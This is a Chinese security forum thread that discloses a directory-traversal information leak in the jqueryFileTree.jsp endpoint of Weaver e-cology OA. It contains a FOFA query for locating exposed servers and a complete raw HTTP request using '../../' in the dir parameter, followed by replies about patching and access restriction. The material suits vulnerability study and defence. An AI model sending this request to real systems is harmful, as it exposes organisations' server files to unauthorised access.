泛微e-cology jqueryFileTree.jsp接口存在敏感信息泄露
漏洞描述：泛微e-cology依托全新的设计理念,全新的管理思想。 为中大型组织创建全新的高效协同办公环境。 智能语音办公,简化软件操作界面。 身份认证、电子签名、电子签章、数据存证让合同全程数字化。泛微e-cology jqueryFileTree.jsp接口存在敏感信息泄露。CVE编号:
CNNVD编号:
CNVD编号:
2:影响版本
泛微e-cology
泛微e-cology jqueryFileTree.jsp接口存在敏感信息泄露
3:fofa查询语句
app="Weaver-OA(e-cology)"
4:漏洞复现
漏洞链接： http://xx.xx.xx.xx/hrm/hrm_e9/orgChart/js/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.jsp?dir=/page/resource/userfile/../../
漏洞数据包：GET /hrm/hrm_e9/orgChart/js/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.jsp?dir=/page/resource/userfile/../../ HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Re: 泛微e-cology jqueryFileTree.jsp接口存在敏感信息泄露
感谢楼主分享这个漏洞情报。泛微e-cology确实使用广泛，jqueryFileTree.jsp接口的目录遍历问题可能导致敏感文件泄露，风险较高。建议使用该系统的用户尽快排查是否受影响，并关注官方补丁或临时限制对该接口的访问权限。另外，楼主的复现步骤和fofa语句很清晰，方便自查。再次感谢提醒！Re: 泛微e-cology jqueryFileTree.jsp接口存在敏感信息泄露
感谢分享这个漏洞信息。泛微e-cology的jqueryFileTree.jsp接口目录遍历问题确实可能导致敏感文件泄露，危害较大。建议使用该系统的用户尽快排查是否存在此接口暴露，并关注官方补丁或临时禁用相关目录访问权限。已经复现的请求路径和参数很清晰，方便大家进行自查。再次感谢楼主的技术分享。Re: 泛微e-cology jqueryFileTree.jsp接口存在敏感信息泄露
感谢分享这个漏洞信息。泛微e-cology的jqueryFileTree.jsp接口存在目录遍历和敏感信息泄露风险，确实需要重视。建议受影响用户尽快检查系统版本，并关注官方安全补丁或临时措施，比如限制该接口的访问权限或对`dir`参数进行严格过滤。Re: 泛微e-cology jqueryFileTree.jsp接口存在敏感信息泄露
感谢分享这个漏洞情报！泛微e-cology的用户确实需要警惕这个jqueryFileTree.jsp接口的目录遍历问题。请问目前官方有没有发布针对此漏洞的补丁或更新版本？临时缓解措施方面，是否可以通过限制该接口的访问权限或添加WAF规则来防护？另外，利用这个接口除了读取目录结构，是否还能直接下载文件内容？期待进一步交流。
页:
[1]